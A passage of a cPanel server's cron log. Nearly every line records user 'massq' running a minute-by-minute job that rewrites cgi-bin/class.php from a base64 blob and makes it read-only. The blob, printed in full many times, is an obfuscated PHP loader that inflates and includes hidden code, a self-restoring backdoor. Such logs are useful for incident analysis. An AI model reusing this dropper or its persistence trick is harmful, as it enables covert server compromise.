"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:50:01 server CROND[19801]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 10:51:01 server CROND[19923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:52:01 server CROND[19989]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:53:01 server CROND[20199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:54:01 server CROND[20256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:55:01 server CROND[20407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 10:55:01 server CROND[20408]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 10:55:01 server CROND[20409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:56:01 server CROND[20534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:57:01 server CROND[20601]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 10:57:01 server CROND[20602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:58:01 server CROND[20673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:59:01 server CROND[20726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:00:01 server CROND[20840]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 11:00:01 server CROND[20841]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 11:00:01 server CROND[20842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:00:01 server CROND[20843]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 11:01:01 server CROND[20998]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 11:01:01 server CROND[20999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:01:01 server run-parts(/etc/cron.hourly)[20998]: starting 0anacron
Apr 11 11:01:01 server run-parts(/etc/cron.hourly)[21011]: finished 0anacron
Apr 11 11:02:01 server CROND[21076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:03:01 server CROND[21151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQt